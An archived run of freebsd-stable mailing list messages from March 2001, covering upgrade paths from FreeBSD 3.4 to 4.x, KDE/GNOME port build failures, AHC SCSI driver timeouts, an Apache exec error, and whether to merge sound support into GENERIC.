mvh@ix.netcom.com on Wed, Mar 14, 2001 at 08:36:09AM -0800 X-Operating-System: FreeBSD/i386 4.2-STABLE Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Mar 14, 2001 at 08:36:09AM -0800, Mike Harding wrote: > > Having done this before I would HIGHLY recommend doing a clean install > and restoring the 'good stuff' from backup. You can do the upgrades > in place, but it takes a while, and you have to do it in steps, and if > you misstep you may blow up the box, and so on. You should know how > to do clean installs and backups anyways. Since you have 2 machines, > assuming sufficient clear disk space on each, you can back one up onto > the other and so on. Some time ago, Ralf S. Engelschall posted a description about upgradeing a bunch of 3.5-STABLE boxes to 4.1.1-STABLE: http://docs.freebsd.org/cgi/getmsg.cgi?fetch=699499+0+archive/2000/freebsd-stable/20000806.freebsd-stable /Michael > > - Mike H. > > From: "Steffen Vorrix" > Date: Wed, 14 Mar 2001 10:44:34 -0500 > Content-Type: multipart/alternative; > boundary="----=_NextPart_000_000B_01C0AC73.C2523D80" > X-Priority: 3 > X-MSMail-Priority: Normal > X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 > X-MDRemoteIP: 208.60.70.195 > X-Return-Path: steffen@vorrix.com > X-MDaemon-Deliver-To: freebsd-stable@freebsd.org > Sender: owner-freebsd-stable@FreeBSD.ORG > X-Loop: FreeBSD.ORG > Precedence: bulk > > This is a multi-part message in MIME format. > > ------=_NextPart_000_000B_01C0AC73.C2523D80 > Content-Type: text/plain; > charset="iso-8859-1" > Content-Transfer-Encoding: quoted-printable > > I have been tracking this list for about 3 or 4 weeks now, and I have = > learned alot more about FreeBSD then I thought I might. I have = > successfully upgrade my two home FreeBSD machines from 4.2 REL to the = > current stable version, and everything went just fine. However, I now = > need to upgrade 2 production machines for my employer, and these have to = > go as painlessly as possible. The problem is that these machines are = > 3.4 REL. I have looked through the mail over the past weeks, and I have = > found people mention that 3.4 to 4 can have some gotcha's associated = > with it, but I haven't seen anything specifically mentioned. Are there = > things that I need to watch out for? The reference that I am referring = > to was a thread regarding remotely updating servers. While this was = > frowned upon by almost everyone in the list, one person specifically = > mentioned that remote updating would be a problem from a 3.x to a 4.x. = > I don't plan to do any remote updating, but I want to be sure there = > aren't other things I need to watch out for. > > Thanks a bunch. > > Chris Schremser > > ------=_NextPart_000_000B_01C0AC73.C2523D80 > Content-Type: text/html; > charset="iso-8859-1" > Content-Transfer-Encoding: quoted-printable > > > > charset=3Diso-8859-1"> > > > > >
I have been tracking this list for = > about 3 or 4=20 > weeks now, and I have learned alot more about FreeBSD then I thought I=20 > might.  I have successfully upgrade my two home FreeBSD machines = > from 4.2=20 > REL to the current stable version, and everything went just fine.  = > However,=20 > I now need to upgrade 2 production machines for my employer, and these = > have to=20 > go as painlessly as possible.  The problem is that these machines = > are 3.4=20 > REL.  I have looked through the mail over the past weeks, and I = > have found=20 > people mention that 3.4 to 4 can have some gotcha's associated with it, = > but I=20 > haven't seen anything specifically mentioned.  Are there things = > that I need=20 > to watch out for?  The reference that I am referring to was a = > thread=20 > regarding remotely updating servers.  While this was frowned upon = > by almost=20 > everyone in the list, one person specifically mentioned that remote = > updating=20 > would be a problem from a 3.x to a 4.x.  I don't plan to do any = > remote=20 > updating, but I want to be sure there aren't other things I need to = > watch out=20 > for.
>
 
>
Thanks a bunch.
>
 
>
Chris = > Schremser
> > ------=_NextPart_000_000B_01C0AC73.C2523D80-- > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 9:26:45 2001 Delivered-To: freebsd-stable@freebsd.org Received: from winston.osd.bsdi.com (winston.osd.bsdi.com [204.216.27.229]) by hub.freebsd.org (Postfix) with ESMTP id 16CDE37B724 for ; Wed, 14 Mar 2001 09:26:33 -0800 (PST) (envelope-from jkh@osd.bsdi.com) Received: from localhost (jkh@localhost [127.0.0.1]) by winston.osd.bsdi.com (8.11.2/8.11.1) with ESMTP id f2EHPIH99377; Wed, 14 Mar 2001 09:25:18 -0800 (PST) (envelope-from jkh@osd.bsdi.com) To: pfeifer@dbai.tuwien.ac.at Cc: freebsd-stable@FreeBSD.ORG Subject: Re: MFC: src/sys/i386/conf/GENERIC and sound support In-Reply-To: References: <20001228132307.I94738@stat.Duke.EDU> X-Mailer: Mew version 1.94.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20010314092518L.jkh@osd.bsdi.com> Date: Wed, 14 Mar 2001 09:25:18 -0800 From: Jordan Hubbard X-Dispatcher: imput version 20000228(IM140) Lines: 15 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I noticed that this still hasn't been MFCed, even though it makes a lot > of sense for regular users (that is, those that do not recompile their > kernel regularily): > > revision 1.289 > date: 2000/11/14 01:11:13; author: jkh; state: Exp; lines: +4 -1 > In the year 2000, I think it's perfectly reasonable to include audio > support by default in GENERIC. It would be nice, but it's also just too late to change this for 4.3 given that we wouldn't have enough testing time to ensure that enabling sound didn't break something else. We'll just have to shoot for 4.4. - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 9:27:41 2001 Delivered-To: freebsd-stable@freebsd.org Received: from winston.osd.bsdi.com (winston.osd.bsdi.com [204.216.27.229]) by hub.freebsd.org (Postfix) with ESMTP id 66B9937B718 for ; Wed, 14 Mar 2001 09:27:37 -0800 (PST) (envelope-from jkh@osd.bsdi.com) Received: from localhost (jkh@localhost [127.0.0.1]) by winston.osd.bsdi.com (8.11.2/8.11.1) with ESMTP id f2EHQ1H99384; Wed, 14 Mar 2001 09:26:01 -0800 (PST) (envelope-from jkh@osd.bsdi.com) To: gibbs@scsiguy.com Cc: stable@freebsd.org Subject: Re: Uh oh. Looks like something broke with the AHC driver.. In-Reply-To: <200103141358.f2EDw8s71740@aslan.scsiguy.com> References: <20010314013116G.jkh@osd.bsdi.com> <200103141358.f2EDw8s71740@aslan.scsiguy.com> X-Mailer: Mew version 1.94.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20010314092601Q.jkh@osd.bsdi.com> Date: Wed, 14 Mar 2001 09:26:01 -0800 From: Jordan Hubbard X-Dispatcher: imput version 20000228(IM140) Lines: 10 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > A dmesg from the affected system would be a good start. I you have > a serial console cable and can use it to catch the full output of > from the driver, I can probably pin this down very quickly. As > it stands now, I don't even know which of the many controllers the > driver supports that you have in your machine. Fair enough - let me see what I can rig up. I'll also see if we can reproduce this with any of the machines in the lab. - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 9:31:50 2001 Delivered-To: freebsd-stable@freebsd.org Received: from wop21.wop.wtb.tue.nl (wop21.wop.wtb.tue.nl [131.155.56.216]) by hub.freebsd.org (Postfix) with ESMTP id 68CC737B71D; Wed, 14 Mar 2001 09:31:45 -0800 (PST) (envelope-from karelj@wop21.wop.wtb.tue.nl) Received: (from karelj@localhost) by wop21.wop.wtb.tue.nl (8.11.1/8.11.1) id f2EHU7T11759; Wed, 14 Mar 2001 18:30:07 +0100 (CET) (envelope-from karelj) Date: Wed, 14 Mar 2001 18:29:04 +0100 From: "Karel J. Bosschaart" To: Colin Legendre Cc: freebsd-stable@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: KDE2.1 ++ GNOME 1.2 Message-ID: <20010314182904.A4010@wop21.wop.wtb.tue.nl> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from sudz@ns3g.com on Wed, Mar 14, 2001 at 10:17:42AM -0500 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Mar 14, 2001 at 10:17:42AM -0500, Colin Legendre wrote: > I am having huge problems installing KDE2.1 and GNOME1.2 on the same box > from the ports. > > It would seem that you cannot install both of them on the same box. Because > I tried installing kde first, that worked, then gnome and the gnome build > failed! Then I tried installing Gnome first than kde and the kde build > failed. Any help here guys.! > That sounds bizarre... you aren't running out of disk space, are you?? What's the error you get in the build? Karel. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 9:48:35 2001 Delivered-To: freebsd-stable@freebsd.org Received: from sudz.ns3g.com (cr618871-b.bloor1.on.wave.home.com [24.43.110.112]) by hub.freebsd.org (Postfix) with ESMTP id 55E2737B718; Wed, 14 Mar 2001 09:48:26 -0800 (PST) (envelope-from sudz@ns3g.com) Received: from cooler (cr618871-a.bloor1.on.wave.home.com [24.43.110.110]) by sudz.ns3g.com (8.11.2/8.11.2) with SMTP id f2EHnGi02475; Wed, 14 Mar 2001 12:49:17 -0500 (EST) (envelope-from sudz@ns3g.com) Reply-To: From: "Colin Legendre" To: "Karel J. Bosschaart" Cc: , Subject: RE: KDE2.1 ++ GNOME 1.2 Date: Wed, 14 Mar 2001 12:51:35 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <20010314182904.A4010@wop21.wop.wtb.tue.nl> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG If I do it one way it fail on KDEGames, the other it fails on bonobo. -----Original Message----- From: Karel J. Bosschaart [mailto:karelj@wop21.wop.wtb.tue.nl] Sent: Wednesday, March 14, 2001 12:29 PM To: Colin Legendre Cc: freebsd-stable@FreeBSD.ORG; freebsd-questions@FreeBSD.ORG Subject: Re: KDE2.1 ++ GNOME 1.2 On Wed, Mar 14, 2001 at 10:17:42AM -0500, Colin Legendre wrote: > I am having huge problems installing KDE2.1 and GNOME1.2 on the same box > from the ports. > > It would seem that you cannot install both of them on the same box. Because > I tried installing kde first, that worked, then gnome and the gnome build > failed! Then I tried installing Gnome first than kde and the kde build > failed. Any help here guys.! > That sounds bizarre... you aren't running out of disk space, are you?? What's the error you get in the build? Karel. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 9:52:52 2001 Delivered-To: freebsd-stable@freebsd.org Received: from istar.ca (d141-118-73.home.cgocable.net [24.141.118.73]) by hub.freebsd.org (Postfix) with ESMTP id 397F137B71C; Wed, 14 Mar 2001 09:52:45 -0800 (PST) (envelope-from genisis@istar.ca) Received: (from genisis@localhost) by istar.ca (8.11.1/8.11.1) id f2EHgxr56177; Wed, 14 Mar 2001 12:42:59 -0500 (EST) (envelope-from genisis) Date: Wed, 14 Mar 2001 12:42:59 -0500 (EST) From: Dru To: Colin Legendre Cc: "Karel J. Bosschaart" , freebsd-stable@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: RE: KDE2.1 ++ GNOME 1.2 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi Colon, I had a problem with bonobo failing, so I built bonobo on it's own then successfully resumed my build. Dru On Wed, 14 Mar 2001, Colin Legendre wrote: > If I do it one way it fail on KDEGames, the other it fails on bonobo. > > -----Original Message----- > From: Karel J. Bosschaart [mailto:karelj@wop21.wop.wtb.tue.nl] > Sent: Wednesday, March 14, 2001 12:29 PM > To: Colin Legendre > Cc: freebsd-stable@FreeBSD.ORG; freebsd-questions@FreeBSD.ORG > Subject: Re: KDE2.1 ++ GNOME 1.2 > > > On Wed, Mar 14, 2001 at 10:17:42AM -0500, Colin Legendre wrote: > > I am having huge problems installing KDE2.1 and GNOME1.2 on the same box > > from the ports. > > > > It would seem that you cannot install both of them on the same box. > Because > > I tried installing kde first, that worked, then gnome and the gnome build > > failed! Then I tried installing Gnome first than kde and the kde build > > failed. Any help here guys.! > > > That sounds bizarre... you aren't running out of disk space, are you?? > What's the error you get in the build? > > Karel. > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 10: 0:29 2001 Delivered-To: freebsd-stable@freebsd.org Received: from germanium.xtalwind.net (germanium.xtalwind.net [205.160.242.5]) by hub.freebsd.org (Postfix) with ESMTP id 4F77837B718; Wed, 14 Mar 2001 10:00:23 -0800 (PST) (envelope-from jack@germanium.xtalwind.net) Received: from localhost (localhost.xtalwind.net [127.0.0.1]) by germanium.xtalwind.net (8.11.3/8.11.3) with ESMTP id f2EI0Da53997; Wed, 14 Mar 2001 13:00:13 -0500 (EST) (envelope-from jack@germanium.xtalwind.net) Date: Wed, 14 Mar 2001 13:00:13 -0500 (EST) From: jack To: Andrew Reilly Cc: Jordan Hubbard , stable@FreeBSD.ORG, gibbs@FreeBSD.ORG Subject: Re: Uh oh. Looks like something broke with the AHC driver.. In-Reply-To: <20010314223403.A56449@gurney.reilly.home> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Today Andrew Reilly wrote: > Here's a possible "me too". I haven't reported this before > because (a) da2 is my backup Fujitsu MO drive, and it does do > odd things occasionally, and (b) the backup disk is currently > full and I haven't thrown the requisite round-tuit at it. > > If this actually represents a problem, and I can help with > debugging it, please just say what you need... > > Following are a chunk of kernel messages from /var/log/messages > and the contents of /var/run/dmesg.boot. The system is: > > FreeBSD gurney.reilly.home 4.3-BETA FreeBSD 4.3-BETA #7: Sun Mar 11 13:38:49 EST 2001 root@gurney.reilly.home:/usr/obj/usr/src/sys/GURNEY i386 > > Mar 14 03:11:24 gurney /kernel: (da2:ahc0:0:6:0): SCB 0x3 - timed out while idle, SEQADDR == 0x7 I've been seeing what Andrew reported on two different boxes for quite some time. It is always the same drive in each box, which if I disconnect this goes away. I'm taking this as a warning that, as I already suspected, those drives are on their last legs so it is actually a nice `feature'; don't put anything on this drive that you aren't willing to loose. -------------------------------------------------------------------------- Jack O'Neill Systems Administrator / Systems Analyst jack@germanium.xtalwind.net Crystal Wind Communications, Inc. Finger jack@germanium.xtalwind.net for my PGP key. PGP Key fingerprint = F6 C4 E6 D4 2F 15 A7 67 FD 09 E9 3C 5F CC EB CD enriched, vcard, HTML messages > /dev/null -------------------------------------------------------------------------- A Microsoft Certified Systems Engineer is to computing what a McDonalds Certified Food Specialist is to fine cuisine. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 10: 3:35 2001 Delivered-To: freebsd-stable@freebsd.org Received: from obsecurity.dyndns.org (adsl-63-207-60-59.dsl.lsan03.pacbell.net [63.207.60.59]) by hub.freebsd.org (Postfix) with ESMTP id 11E9537B718; Wed, 14 Mar 2001 10:03:32 -0800 (PST) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 2C89F66B6C; Wed, 14 Mar 2001 10:03:31 -0800 (PST) Date: Wed, 14 Mar 2001 10:03:31 -0800 From: Kris Kennaway To: sam wun Cc: Mike Smith , Pete French , stable@FreeBSD.ORG Subject: Re: apache show "Exec format error" Message-ID: <20010314100331.A42426@mollari.cthul.hu> References: <200103141113.f2EBDNn04877@mass.dis.org> <3AAF52F2.A03C274F@yahoo.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="FCuugMFkClbJLl1L" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3AAF52F2.A03C274F@yahoo.com>; from samwun@yahoo.com on Wed, Mar 14, 2001 at 10:16:02PM +1100 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --FCuugMFkClbJLl1L Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Mar 14, 2001 at 10:16:02PM +1100, sam wun wrote: > Hi, >=20 > I know this is not an appropriate newsgropu to post this msg, but I would= think > you guys konw more about it. > I got the following error when I tried to execue a perl program with call= ing > .css file: >=20 > Exec format error: exec of /usr/local/cgi-bin/store/managerstylesheet.css > failed > [Wed Mar 14 22:10:03 2001] [error] [client 192.168.1.1] Premature end of = script > headers: > /usr/local/cgi-bin/store/managerstylesheet.css >=20 > Does anyone know what is this all about? Taking a wild guess, the script is truncated? Kris --FCuugMFkClbJLl1L Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE6r7JyWry0BWjoQKURAq2hAJ0UuTnatOZ/7SCsvl9ycIQ6QZZNgACbBU7W 13Oq0p1UiKZWnecZfO2r2Ng= =ruuP -----END PGP SIGNATURE----- --FCuugMFkClbJLl1L-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 10: 7:30 2001 Delivered-To: freebsd-stable@freebsd.org Received: from obsecurity.dyndns.org (adsl-63-207-60-59.dsl.lsan03.pacbell.net [63.207.60.59]) by hub.freebsd.org (Postfix) with ESMTP id 4B42637B71A; Wed, 14 Mar 2001 10:07:28 -0800 (PST) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id ED75E66BBB; Wed, 14 Mar 2001 10:07:27 -0800 (PST) Date: Wed, 14 Mar 2001 10:07:27 -0800 From: Kris Kennaway To: Yoshihiko SARUMARU Cc: stable@FreeBSD.ORG, paul@FreeBSD.ORG Subject: Re: pkg_update: warnings.pl wants to be MFC'ed Message-ID: <20010314100727.C42426@mollari.cthul.hu> References: <8666hc1spn.fsf@juil.domain> <010314210056.M0157727@mistral.imasy.or.jp> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="TiqCXmo5T1hvSQQg" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <010314210056.M0157727@mistral.imasy.or.jp>; from mistral@imasy.or.jp on Wed, Mar 14, 2001 at 09:00:56PM +0900 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --TiqCXmo5T1hvSQQg Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Mar 14, 2001 at 09:00:56PM +0900, Yoshihiko SARUMARU wrote: > > BTW I really wonder if someone is going to fix pkg_update.pl. Fix is > > so trivial but it already passed almost one month since pr with it was > > submited. Does anybody want to review it and checkin it into CVS? >=20 > PR tell me Paul is responsible for this issue (by Kris). > Hey Paul, can I use fancy pkg_update in 4.3-RELEASE ? Actually, I thought pkg_update was still an experimental feature (read: hasn't been well tested) -- I'm not sure why it was MFCed, though it probably should be documented as being experimental. Kris --TiqCXmo5T1hvSQQg Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE6r7NfWry0BWjoQKURAtO+AKD1Wksu1g8TvY77l1Kw2Of98sFoogCfUMn1 ySpVz2aEPLP4kf1o/uk0L3M= =ijCV -----END PGP SIGNATURE----- --TiqCXmo5T1hvSQQg-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 10:14:24 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mail.tgd.net (rand.tgd.net [64.81.67.117]) by hub.freebsd.org (Postfix) with SMTP id 7EEEF37B718 for ; Wed, 14 Mar 2001 10:14:19 -0800 (PST) (envelope-from sean@mailhost.tgd.net) Received: (qmail 48161 invoked by uid 1001); 14 Mar 2001 18:14:15 -0000 Date: Wed, 14 Mar 2001 10:14:15 -0800 From: Sean Chittenden To: freebsd-stable@freebsd.org Subject: Update UPDATING for upgrade path from 3.4 (was Re: Major upgrade)... Message-ID: <20010314101415.B48101@rand.tgd.net> References: <000e01c0ac9d$abd50040$fd03a8c0@ws001> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="DBIVS5p969aUjpLe" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from "marius@mail.communityconnect.com" on Wed, Mar 14, 2001 at = 10:50:19AM X-PGP-Key: 0x1EDDFAAD X-PGP-Fingerprint: C665 A17F 9A56 286C 5CFB 1DEA 9F4F 5CEF 1EDD FAAD X-Web-Homepage: http://sean.chittenden.org Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --DBIVS5p969aUjpLe Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable I've done this upgrade a few times and tried going from 3.4 -> 4.X: not so smooth. In fact, big sink whole for time, however, 3.4 -> 3.5-STABLE -> 4.X works very nicely. Having spent a chunk of time upgrading 30+ boxes, going to 3.5 works well, but takes more time than backing up and restoring after a fresh 4.X build. ::grin:: At anyrate, would it be possible to have someone not this in UPGRADING? 3.4 -> 4.X =3D=3D bad, but 3.4 -> 3.5 -> 4.X =3D=3D good? It would've saved me a large chunk of time, esp since the only doc I found that had a hit of this was Ralf's email (very useful, btw. Thanks!). -sc On Wed, Mar 14, 2001 at 10:50:19AM -0500, Marius wrote: > I've done the upgrade from 3.4 to 4.x stable a few times. I > genrally go from 3.4->3.5-Stable and then 3.5-Stable -> > 4.x-stable. >=20 > Basically, if you follow the instructions in UPDATING, it should go well. > If you take UPDATING seriously and actually reboot into single user when > it tells you to, it will likely be painless. There are ways to get around > going into single user, but if you have the luxury of a console, don't > sweat it. >=20 > -Marius --=20 Sean Chittenden sean@chittenden.org --DBIVS5p969aUjpLe Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Comment: For info see http://www.gnupg.org iEYEARECAAYFAjqvtPcACgkQn09c7x7d+q0lKACgwwLu+UJWxMp5kwbLiaglWkci r6oAoN+xOLART5SyE88V00skkoruhgEt =syl0 -----END PGP SIGNATURE----- --DBIVS5p969aUjpLe-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 10:21:12 2001 Delivered-To: freebsd-stable@freebsd.org Received: from vexpert.dbai.tuwien.ac.at (vexpert.dbai.tuwien.ac.at [128.130.111.12]) by hub.freebsd.org (Postfix) with ESMTP id 5089A37B719 for ; Wed, 14 Mar 2001 10:21:05 -0800 (PST) (envelope-from pfeifer@dbai.tuwien.ac.at) Received: from taygeta (taygeta [128.130.111.77]) by vexpert.dbai.tuwien.ac.at (8.11.1/8.11.1) with ESMTP id f2EIKue00912; Wed, 14 Mar 2001 19:20:56 +0100 (MET) Date: Wed, 14 Mar 2001 19:20:57 +0100 (CET) From: Gerald Pfeifer To: Jordan Hubbard Cc: Subject: Re: MFC: src/sys/i386/conf/GENERIC and sound support In-Reply-To: <20010314092518L.jkh@osd.bsdi.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 14 Mar 2001, Jordan Hubbard wrote: > It would be nice, but it's also just too late to change this for 4.3 > given that we wouldn't have enough testing time to ensure that > enabling sound didn't break something else. We'll just have to > shoot for 4.4. Will you take care of that? (I'm a bit disappointed, as I first suggested that MFC back in late December, but of course keeping the release stable is much more important now! However, it'd be nice to have this immediately after 4.3.) Gerald -- Gerald "Jerry" pfeifer@dbai.tuwien.ac.at http://www.dbai.tuwien.ac.at/~pfeifer/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 10:24:18 2001 Delivered-To: freebsd-stable@freebsd.org Received: from guru.mired.org (okc-65-26-235-186.mmcable.com [65.26.235.186]) by hub.freebsd.org (Postfix) with SMTP id 5254C37B71A for ; Wed, 14 Mar 2001 10:24:13 -0800 (PST) (envelope-from mwm@mired.org) Received: (qmail 19215 invoked by uid 100); 14 Mar 2001 18:24:12 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15023.46924.215211.294466@guru.mired.org> Date: Wed, 14 Mar 2001 12:24:12 -0600 To: Mike Harding Cc: steffen@vorrix.com, freebsd-stable@freebsd.org Subject: Re: Major upgrade In-Reply-To: <20010314163609.49125113D43@netcom1.netcom.com> References: <000e01c0ac9d$abd50040$fd03a8c0@ws001> <20010314163609.49125113D43@netcom1.netcom.com> X-Mailer: VM 6.89 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Mike Harding types: > Having done this before I would HIGHLY recommend doing a clean install > and restoring the 'good stuff' from backup. Wanting to be able to do this easily is a *very* good reason for keeping the "good stuff" (basically, anything locally developed or supported) on a different file system from the "freebsd stuff". It means the only things you have to restore after a clean install (including newfs'ing the file systems) are various config files, and possibly /var/db/pkg if packages are counted as "the good stuff". If you don't count packages that way, then you need to keep an ls of /var/db/pkg so you know what to reinstall after the ugprade. http://www.mired.org/home/mwm/ Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 10:31:45 2001 Delivered-To: freebsd-stable@freebsd.org Received: from cicero0.cybercity.dk (cicero0.cybercity.dk [212.242.40.52]) by hub.freebsd.org (Postfix) with ESMTP id D7B8537B71A for ; Wed, 14 Mar 2001 10:31:41 -0800 (PST) (envelope-from mekanix@vip.cybercity.dk) Received: from usr00.cybercity.dk (usr00.cybercity.dk [212.242.40.34]) by cicero0.cybercity.dk (Postfix) with ESMTP id A258C102902; Wed, 14 Mar 2001 19:31:40 +0100 (CET) Received: from mekanix.home (port12.cvx1-ro.ppp.cybercity.dk [212.242.169.13]) by usr00.cybercity.dk (8.9.3/8.9.3) with SMTP id TAA28120; Wed, 14 Mar 2001 19:31:41 +0100 (CET) (envelope-from mekanix@vip.cybercity.dk) Message-Id: <200103141831.TAA28120@usr00.cybercity.dk> Date: Wed, 14 Mar 2001 19:29:16 +0100 From: Bjarne Wichmann Petersen To: Mike Harding Cc: freebsd-stable@FreeBSD.ORG Subject: Re: KDE 2.1 In-Reply-To: <20010314154700.8AA77113F80@netcom1.netcom.com> References: <16650000.984577362@pyanfar.ece.cmu.edu> <20010314154700.8AA77113F80@netcom1.netcom.com> X-Mailer: Sylpheed version 0.4.61 (GTK+ 1.2.9; FreeBSD 4.2-STABLE; i386) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 14 Mar 2001 07:47:00 -0800 (PST) Mike Harding wrote: > > I had built this and run it under X4.02 until somebody broke it > recently - it no longer builds, complaining about pthreads. add -pthread to your CFLAGS (in /etc/make.conf) Anyway... I tried reinstalling PNG... and it still fails until I remove X-KDE-Init=style from /usr/blablabla/style.desktop. And kdeinit still hangs when I leave KDE... Bjarne To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 10:34:48 2001 Delivered-To: freebsd-stable@freebsd.org Received: from frog.east.ru (frog.east.ru [195.170.62.133]) by hub.freebsd.org (Postfix) with ESMTP id D2B7737B71A for ; Wed, 14 Mar 2001 10:34:42 -0800 (PST) (envelope-from tima@east.ru) Received: from east.ru (tima.east.ru [195.170.33.22]) by frog.east.ru (Postfix) with ESMTP id 2E28E1C225 for ; Wed, 14 Mar 2001 21:34:38 +0300 (MSK) Message-ID: <3AAFB9CB.84785650@east.ru> Date: Wed, 14 Mar 2001 21:34:51 +0300 From: Timur Maryin Reply-To: tima@office.east.ru Organization: East Connection X-Mailer: Mozilla 4.76 [ru] (X11; U; FreeBSD 4.3-BETA i386) X-Accept-Language: ru, en MIME-Version: 1.0 To: freebsd-stable@FreeBSD.org Subject: subscribe Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG subscribe -- Timur Maryin East Connection ISP (http://www.east.ru) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe 